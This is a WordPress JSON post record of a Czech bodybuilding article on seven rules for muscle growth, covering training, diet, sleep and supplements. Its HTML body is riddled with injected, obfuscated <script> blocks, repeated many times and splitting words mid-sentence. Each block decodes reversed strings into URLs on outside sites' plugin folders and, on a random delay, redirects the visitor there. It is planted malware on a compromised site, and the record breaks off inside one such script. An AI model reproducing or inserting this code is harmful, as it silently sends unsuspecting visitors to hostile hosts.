{"id":361,"date":"2020-09-15T09:17:43","date_gmt":"2020-09-15T09:17:43","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=361"},"modified":"2020-08-30T09:22:44","modified_gmt":"2020-08-30T09:22:44","slug":"sedmero-zakonu-svaloveho-rustu","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2020\/09\/15\/sedmero-zakonu-svaloveho-rustu\/","title":{"rendered":"SEDMERO Z\u00c1KON\u016e SVALOV\u00c9HO R\u016eSTU"},"content":{"rendered":"<p>Dodr\u017eujte je a b\u011bhem t\u0159\u00ed m\u011bs\u00edc\u016f dos\u00e1hnete v\u00fdrazn\u00e9ho n\u00e1r\u016fstu svalov\u00e9 hmoty. Za \u0161est m\u011bs\u00edc\u016f si v\u0161imnete nep\u0159ehl\u00e9dnuteln\u00fdch zm\u011bn v podob\u011b kvalitn\u00ed muskularity.<\/p>\n<ol>\n<li>\n<h2><strong>D\u016eSLEDNOST V\u00a0TR\u00c9NINKU<\/strong><\/h2>\n<\/li>\n<\/ol>\n<p>To je nejd\u016fle\u017eit\u011bj\u0161\u00ed fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor v\u0161ech \u00fasp\u011b\u0161n\u00fdch cvi\u010debn\u00edch program\u016f. \u010cas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to si mysl\u00edme, \u017ee n\u011bkdo dosahuje kvalitn\u00edch v\u00fdsledk\u016f, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee m\u00e1 \u201eskv\u011blou genetiku\u201c. To sice tak\u00e9 m\u016f\u017ee b\u00fdt pravda, ale \u00fasp\u011b\u0161n\u00ed b\u00fdvaj\u00ed p\u0159edev\u0161\u00edm ti spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, kte\u0159\u00ed vynikaj\u00ed ve vytrvalosti, soust\u0159ed\u011bn\u00ed a d\u016fslednosti\u2026.a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jak v\u00a0posilovn\u011b, tak v\u00a0kuchyni.<\/p>\n<p>Bez ohledu na va\u0161e genetick\u00e9 schopnosti budovat svalovou hmotu, v\u011bt\u0161inou m\u016f\u017eete nabrat v\u00edce sval\u016f, ne\u017e se v\u00e1m kdy snilo, kdy\u017e budete v\u00a0tr\u00e9ninku dostate\u010dn\u011b d\u016fsledn\u00ed. Z\u00e1kladem je pravideln\u00fd tr\u00e9nink t\u00fdden za t\u00fddnem, m\u011bs\u00edc po m\u011bs\u00edci, cel\u00fd rok.<\/p>\n<h2>2.\u00a0<strong>STRAVA<\/strong><\/h2>\n<p>Mus\u00edte j\u00edst vhodn\u00e1 j\u00eddla s\u00a0\u017eeleznou pravidelnost\u00ed, jinak nem\u016f\u017eete budovat svaly. Tvrd\u00fd a n\u00e1ro\u010dn\u00fd tr\u00e9nink bez odpov\u00eddaj\u00edc\u00ed stravy va\u0161emu t\u011blu svaly nep\u0159id\u00e1. Svaly pot\u0159ebuj\u00ed hodn\u011b kvalitn\u00edch b\u00edlkovin, sacharid\u016f a tak\u00e9 vhodn\u00fdch tuk\u016f, aby mohly r\u016fst. Lid\u00e9, kte\u0159\u00ed obt\u00ed\u017en\u011b buduj\u00ed svalovou hmotu, obvykle nemaj\u00ed moc chu\u0165 k\u00a0j\u00eddlu. Pro ka\u017ed\u00e9ho plat\u00ed, \u017ee je nutn\u00e9 konzumovat v\u00edce men\u0161\u00edch porc\u00ed v\u00a0pr\u016fb\u011bhu cel\u00e9ho dne. U zmi\u0148ovan\u00fdch hardgainer\u016f se dostanete i na osm porc\u00ed za den. A opravdu nemus\u00ed j\u00edt o velk\u00e9 porce, sta\u010d\u00ed p\u00e1r vajec natvrdo, jogurt nebo cottage s\u00fdr, sendvi\u010d nebo proteinov\u00fd n\u00e1poj. P\u016fjde <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, nebojte se, nebude pro v\u00e1s probl\u00e9m j\u00edst \u010dast\u011bji.<\/p>\n<p>Dob\u0159e ud\u011bl\u00e1te, kdy\u017e si j\u00eddeln\u00ed\u010dek budete pl\u00e1novat tak t\u00fdden dop\u0159edu. Vyplat\u00ed se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to kv\u016fli n\u00e1kup\u016fm a tak\u00e9 pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee si m\u016f\u017eete bez pot\u00ed\u017e\u00ed \u0159adu j\u00eddel nachystat s\u00a0p\u0159edstihem.<\/p>\n<h2><strong>3. SP\u00c1NEK\/ODPO\u010cINEK<\/strong><\/h2>\n<p>N\u00e1ro\u010dn\u00fd posilovac\u00ed tr\u00e9nink vytv\u00e1\u0159\u00ed ve svalech podm\u00ednky pro r\u016fst, k\u00a0n\u011bmu ale doch\u00e1z\u00ed pouze b\u011bhem odpo\u010dinku. Dostatek sp\u00e1nku je nezbytn\u00fd. Dokonce i dvaceti minu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fd \u0161lof\u00edk m\u016f\u017ee m\u00edt stimuluj\u00edc\u00ed efekt ve smyslu budov\u00e1n\u00ed svalov\u00e9 hmoty. Svou roli sehraje i kvalita sp\u00e1nku. \u010cty\u0159i a\u017e \u0161est hodin hlubok\u00e9ho sp\u00e1nku je pro n\u00e1r\u016fst svalov\u00e9 hmoty \u00fa\u010dinn\u011bj\u0161\u00ed ne\u017e osm \u010di deset hodin sp\u00e1nku p\u0159eru\u0161ovan\u00e9ho a neklidn\u00e9ho. Sna\u017ete se ze sv\u00e9ho \u017eivota odstranit stres. Obklopte se lidmi, kte\u0159\u00ed jsou v\u00e1m oporou a nev\u00e1haj\u00ed nab\u00eddnout pomocnou ruku. Nebojte se p\u0159etrhat vztahy s\u00a0t\u011bmi, jen\u017e v\u00e1s pouze vys\u00e1vaj\u00ed. Nebude <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mo\u017en\u00e1 snadn\u00e9, ale za \u010das budete r\u00e1di, \u017ee jste takov\u00e9 kroky podnikli \u2013 zejm\u00e9na kdy\u017e se na sebe pod\u00edv\u00e1te do zrcadla.<\/p>\n<h2><strong>4. SUPLEMENTACE<\/strong><\/h2>\n<p>Krom\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, \u017ee byste m\u011bli p\u0159ehodnotit sv\u016fj j\u00eddeln\u00ed\u010dek, je t\u0159eba v\u011bnovat pozornost tak\u00e9 v\u00fd\u017eivov\u00fdm dopl\u0148k\u016fm. Nejlep\u0161\u00ed je dr\u017eet se z\u00e1kladn\u00edch, osv\u011bd\u010den\u00fdch produkt\u016f.<\/p>\n<h3>A.\u00a0\u00a0\u00a0 Glutamin a\/nebo aminokyseliny s\u00a0rozv\u011btven\u00fdm \u0159et\u011bzcem<\/h3>\n<p>U\u017e\u00edvejte je pravideln\u011b. Prvn\u00ed, co byste r\u00e1no m\u011bli ud\u011blat asi p\u016fl hodiny p\u0159ed sn\u00eddan\u00ed, je vz\u00edt si d\u00e1vku glutaminu a BCAA. Glutamin p\u016fsob\u00ed nejl\u00e9pe na la\u010dno \u2013 a pak tak\u00e9 po tr\u00e9ninku. D\u00e1vka se m\u016f\u017ee m\u011bnit, ale spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci o v\u00e1ze kolem 85 kg obvykle u\u017e\u00edvaj\u00ed 15-20 gram\u016f denn\u011b.<\/p>\n<h3>B.\u00a0\u00a0\u00a0\u00a0 Kompletn\u00ed proteinov\u00fd pr\u00e1\u0161ek<\/h3>\n<p>Je dobr\u00e9 volit b\u00edlkoviny z\u00a0r\u016fzn\u00fdch zdroj\u016f, kter\u00e9 t\u011blo opravdu obohat\u00ed, ale chybou nen\u00ed ani <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee u\u017e\u00edv\u00e1te striktn\u011b syrov\u00e1tkov\u00fd protein, ten je zdrojem snadno vst\u0159ebateln\u00fdch b\u00edlkovin. Nebojte se b\u00fdt ohledn\u011b b\u00edlkovin kreativn\u00ed, jako b\u00fdvali kulturist\u00e9 d\u0159\u00edv. Dejte do mix\u00e9ru p\u00e1r kousk\u016f ovoce, ml\u00e9ko, o\u0159\u00ed\u0161ky a p\u0159ipravte si kalorick\u00fd, v\u00fd\u017eivn\u00fd koktejl. Ten s\u00a0sebou nav\u00edc m\u016f\u017eete v\u00a0termosce nosit kamkoliv a p\u00edt ho b\u011bhem dne.<\/p>\n<h3>C.\u00a0\u00a0\u00a0 Kvalitn\u00ed multivitamin, miner\u00e1lov\u00fd p\u0159\u00edpravek, a nav\u00edc je\u0161t\u011b vitamin C<\/h3>\n<p>Pokud byste si mohli koupit pouze jeden suplement, pak by <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to m\u011bl b\u00fdt rozhodn\u011b multivitaminov\u00fd p\u0159\u00edpravek se zv\u00fd\u0161en\u00fdm obsahem vitaminu C. Pamatujte si, \u017ee na prvn\u00edm m\u00edst\u011b je kvalitn\u00ed strava, pak vitaminy a teprve po<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom nejr\u016fzn\u011bj\u0161\u00ed kulturistick\u00e9 suplementy.<\/p>\n<h2><strong>5. M\u00c9N\u011a JE V\u00cdCE<\/strong><\/h2>\n<p>Mnoz\u00ed kulturist\u00e9 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return 